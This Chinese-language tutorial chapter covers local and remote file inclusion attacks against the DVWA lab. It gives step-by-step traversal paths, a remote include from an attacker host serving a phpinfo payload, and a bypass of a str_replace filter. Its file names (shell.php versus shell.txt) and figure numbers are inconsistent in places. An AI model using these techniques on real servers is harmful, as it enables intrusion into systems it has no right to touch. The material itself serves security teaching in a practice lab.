12. 文件包含攻击实战

12.1 文件包含攻击概述

　　所以为了简化代码，一般会把重复的代码部分单独写到一个页面文件中，然后在需要调用重复内容的页面中使用 include 方法来包含重复代码的页面就可以了。使用 include 方法可以让当前页面去执行指定的另外一个文件中的代码内容。如果没有对这种行为做限制，那么黑客将很有可能让当前页面去执行超出 Web 目录中的文件，或者是 Web 目录中不希望被执行的敏感文件，甚至是远程服务器上的文件。比如黑客使用 include 方法去调用 Linux 系统中的 /etc/passwd，就会在当前页面中显示系统中的用户信息；或者黑客自己搭建 Web 服务器，在自己的服务器上写一个 Webshell，然后通过 include 方法在目标页面中执行本地服务器中的 Webshell。

12.2 Low 级别文件包含攻击实战

安全级别设置为 Low，点击 File Inclusion 按钮，进入文件包含攻击页面。页面中有 3 个文件链接，点击后会读取出系统的相关信息，说明这 3 个文件内含有读取相关系统信息的脚本代码，被包含进当前页面执行了。当前的 URL 显示了 http://192.168.75.100/dvwa/vulnerabilities/fi/?page= 后就是被包含的文件名 file3.php，如图 12-1

图 12-1

考虑到我们当前 Web 服务器是使用的 Windows，把 URL 中的文件名替换为 C:/windows/system32/drivers/etc/hosts，发现可以通过绝对路径直接显示 hosts 文件中的内容，如图 12-2

图 12-2

使用相对路径 ../../phpinfo.php 来替换 URL 中的包含文件名，可以执行 DVWA 程序自带的 phpinfo 信息，如图 12-3。../ 代表当前目录的上层目录。当前目录是 dvwa/vulnerabilities/fi/，向上返回 2 层，就到了 dvwa/，所以 ../../phpinfo.php 就是指 dvwa/phpinfo.php 这个文件。

图 12-2

在攻击机上自行搭建一个 Web 服务，我们演示环境攻击机的 IP 地址为 192.168.75.138，在 Web 根目录下写入一个 shell.php 文件，用来显示 PHPINFO，文件代码如下：

1

   <?php phpinfo();?>

PHP 默认不允许跨域引用 URL，需要到 PHP 设置中去开启。在 PHPStudy 中点击其它选项菜单，点击 PHP扩展及设置，选择参数开关设置，钩选 allow_url_include，如图 12-3

图 12-2

使用 http://192.168.75.138/shell.txt 来替换原 URL 中包含的文件名，可以远程执行 PHP 脚本，如图 12-3

图 12-3

12.3 Medium 级别文件包含攻击实战

安全级别设置为 Medium，进入文件包含攻击页面，查看源码，发现使用 str_replace() 函数把 http://、https://、../、..\ 替换为了空值，来防止远程文件包含和相对路径的文件包含，如图 12-4。但是 str_replace() 函数相当不安全，只做一次替换，比如在 http:// 中再嵌套一个 http:// 则可以绕过限制；另外，并没有对绝对路径的文件包含进行防护。